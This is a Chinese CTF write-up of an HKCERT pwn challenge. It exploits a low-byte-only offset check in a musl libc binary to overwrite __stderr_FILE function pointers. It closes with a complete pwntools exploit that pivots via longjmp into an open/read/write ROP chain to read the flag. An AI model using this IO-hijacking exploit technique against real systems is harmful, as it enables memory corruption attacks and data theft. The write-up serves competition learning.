题目简介 HKCERT pwn部分一道关于musl libc的题,最终357分
题目不算难,但是考察了对musl libc的IO利用,如果赛场现学musl libc还是很痛苦的
漏洞点分析 首先看main函数: 可以看到是一个菜单程序,有Add和Show两种功能 同时进入main函数后,初始化的同时开启了沙箱,且分配了0x40大小的堆块,并把堆块指针放在0x202010偏移: 接着立刻查看沙箱,发现只ban掉了execve系统调用: 然后既然看了沙箱,那一起再看一下checksec: 发现保护全开,想到应该是打IO或者hook。 接下来进入Add功能进行分析,会往所申请的堆块+0ffset的地方写入数据,且由于0x202018位置的自增,我们只有一次写入机会: 注意,这里很容易以为是直接把数据写入0x202010偏移的bss段,但从汇编能看出来,实际是往 0x202010偏移的地方 存的那个指针 所指向 的内存写东西(即*0x202010=堆块指针=写入的地方): 在Add函数部分,注意到对offset的校验,采用的是将offset强转为uint8_t类型后检查是否大于0x20,也就是说仅检查offset的最后一个字节是否超过(这里从反编译结果不容易注意到,可以直接看汇编,如下图): 因此这里我们有了一个任意写的原语(只要偏移的最后一个字节不超过32,条件已经算很宽松了) 接下来同样看Show功能: 根据前面对Add的分析,这个函数实际也是打印堆块里的内容 并且也只有一次的Show机会 综合上述分析,本题唯一的漏洞在于Add功能中检查offset不严格,导致一个几乎任意偏移的写入原语,不存在malloc和free接口,应该要打IO。接下来思考如何利用
漏洞点利用 首先想办法泄露地址,由于我们只能分别读一次和写一次,首先考虑堆块上会不会初始残留一些有用信息,因此调试看一下 但是,一运行发现这个binary是依赖musl libc编译的,也就是说这不是一道glibc pwn
musl libc简介 什么是musl libc? 查找musl libc的相关资料得知:musl libc是一种适用于嵌入式等场景的C语言标准库实现,和GNU写的libc不同,musl libc的特性是将loader和libc.so.6作为一个.so文件发布,也就是说不存在GNU libc中的ld文件,因此不能直接运行由musl libc编译得到的binary。
musl libc的运行与调试 运行时,要将给的libc.so当作我们熟悉的ld文件,用loader去启binary:
如上述命令所示 调试时,需要使用带参的gdb命令:
1 gdb --args ./libc.so ./pwn
并且需要捕获loader加载binary的行为,这样才能断在binary:
1 set stop-on-solib-events 1
musl libc的IO 和glibc类似,musl libc也存在IO结构,但具体成员和glibc相差较大,最大的特点是musl libc的IO结构里不存在vtable,而是将需要用到的函数指针打包进了结构体本身,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 struct _IO_FILE { unsigned flags; unsigned char *rpos, *rend; int (*close)(FILE *); unsigned char *wend, *wpos; unsigned char *mustbezero_1; unsigned char *wbase; size_t (*read)(FILE *, unsigned char *, size_t ); size_t (*write)(FILE *, const unsigned char *, size_t ); off_t (*seek)(FILE *, off_t , int ); unsigned char *buf; size_t buf_size; FILE *prev, *next; int fd; int pipe_pid; long lockcount; int mode; volatile int lock; int lbf; void *cookie; off_t off; char *getln_buf; void *mustbezero_2; unsigned char *shend; off_t shlim, shcnt; FILE *prev_locked, *next_locked; struct __locale_struct *locale ; };
从这个结构体的定义可以看出来,musl libc的IO结构体中就带有重要的函数指针,而且可以大胆猜测,read、write这两个函数指针就是puts和scanf等函数最终调用的函数指针,类似glibc的vtable中的xsgetn和xsputn 而且更有利的是,没有了vtable的检查,且观察源码可以进一步发现musl libc不会对这些函数指针做合法性校验: 以puts为例,调用链为puts->fputs->fwrite->fwritex->__stdout_FILE.write:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 int puts (const char *s) { int r; FLOCK(stdout ); r = -(fputs (s, stdout ) < 0 || putc_unlocked('\n' , stdout ) < 0 ); FUNLOCK(stdout ); return r; }int fputs (const char *restrict s, FILE *restrict f) { size_t l = strlen (s); return (fwrite(s, 1 , l, f)==l) - 1 ; }size_t fwrite (const void *restrict src, size_t size, size_t nmemb, FILE *restrict f) { size_t k, l = size*nmemb; if (!size) nmemb = 0 ; FLOCK(f); k = __fwritex(src, l, f); FUNLOCK(f); return k==l ? nmemb : k/size; }size_t __fwritex(const unsigned char *restrict s, size_t l, FILE *restrict f) { size_t i=0 ; if (!f->wend && __towrite(f)) return 0 ; if (l > f->wend - f->wpos) return f->write(f, s, l); if (f->lbf >= 0 ) { for (i=l; i && s[i-1 ] != '\n' ; i--); if (i) { size_t n = f->write(f, s, i); if (n < i) return n; s += i; l -= i; } } memcpy (f->wpos, s, l); f->wpos += l; return l+i; }
不得不说,musl libc还是非常简洁的,没有glibc的宏定义过度封装,这才是人看的代码(bushi 符号语义方面,对应glibc,标准输入、标准输出和标准错误三个结构体的指针变量名依然是stdin、stdout和stderr,但是结构体变量名发生了变化,源码如下:
1 2 3 FILE *const stdin = &__stdin_FILE; FILE *const stdout = &__stdout_FILE; FILE *const stderr = &__stderr_FILE;
很容易看出来,musl libc中,_stderr_FILE=glibc的_IO_2_1_stderr ,其他则类似,这就使得我们很好定位这些关键结构体了 剩下的问题就是如何泄露musl libc的地址,并任意写到IO_FILE里
利用链 最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *from optparse import OptionParser parser = OptionParser() parser.add_option("-m" , "--mode" , dest="mode" , default="local" ) (options, args) = parser.parse_args() context(os='linux' ,arch='amd64' ,log_level="debug" ) context.terminal=['tmux' ,'splitw' ,'-h' ] targetELF="./pwn" elf=ELF(targetELF,checksec=False ) libc=ELF("./libc.so" ,checksec=False )def FakeContext (libc_base_,libc_ ): retAlignPadding=libc_base_+0xcdc context_=p64(0x45 ) context_+=b'1' *0x18 context_+=p64(retAlignPadding)+p64(retAlignPadding) context_+=p64(libc_base_+libc_.symbols["__stderr_FILE" ])+p64(retAlignPadding) return context_def HouseOfMusl (libc_base_,libc_ ): pop_rdi_ret=libc_base_+0x14862 pop_rsi_ret=libc_base+0x1c237 pop_rdx_ret=libc_base+0x1bea2 open_addr=libc_base_+libc_.symbols["open" ] read_addr=libc_base_+libc_.symbols["read" ] write_addr=libc_base+libc_.symbols["write" ] orw_=p64(pop_rdi_ret)+p64(libc_base_+libc_.symbols["__stderr_FILE" ]+152 )+p64(pop_rsi_ret)+p64(0 )+p64(open_addr) orw_+=p64(pop_rdi_ret)+p64(3 )+p64(pop_rsi_ret)+p64(libc_base_+libc_.symbols["__stderr_FILE" ]+160 )+p64(pop_rdx_ret)+p64(50 )+p64(read_addr) orw_+=p64(pop_rdi_ret)+p64(1 )+p64(pop_rsi_ret)+p64(libc_base_+libc_.symbols["__stderr_FILE" ]+160 )+p64(pop_rdx_ret)+p64(50 )+p64(write_addr) data_=b"flag\x00" +b'2' *3 context_=FakeContext(libc_base_,libc_) payload_=orw_+data_ payload_size=len (payload_) payload_+=b'3' *(0x100 -payload_size) payload_+=b'4' *0x100 payload_+=context_ payload_+=b'\x00' *8 +p64(libc_base_+libc_.symbols["longjmp" ]+34 ) return payload_def Lauch (): if options.mode=="local" : io=process(["./libc.so" ,targetELF]) elif options.mode=="remote" : io=remote("pwn-1ce2841b26.challenge.xctf.org.cn" , 9999 , ssl=True ) elif options.mode=="debug" : io=gdb.debug(["./libc.so" ,"./pwn" ],gdbscript="set pagination off\nset stop-on-solib-events 1" ) return io io=Lauch() io.sendlineafter(">>" ,"2" ) libc_leak=u64(io.recvline(keepends=False ).ljust(8 ,b'\x00' )) libc_base=libc_leak-0x292e50 io.sendlineafter(">>" ,"1" ) io.sendlineafter("Please input the offset:\n" ,str (-0x32e0 )) rubbish_pad=b'2' *0x20 payload=rubbish_pad payload+=HouseOfMusl(libc_base,libc) io.sendafter("Please input the Content:\n" ,payload) io.interactive()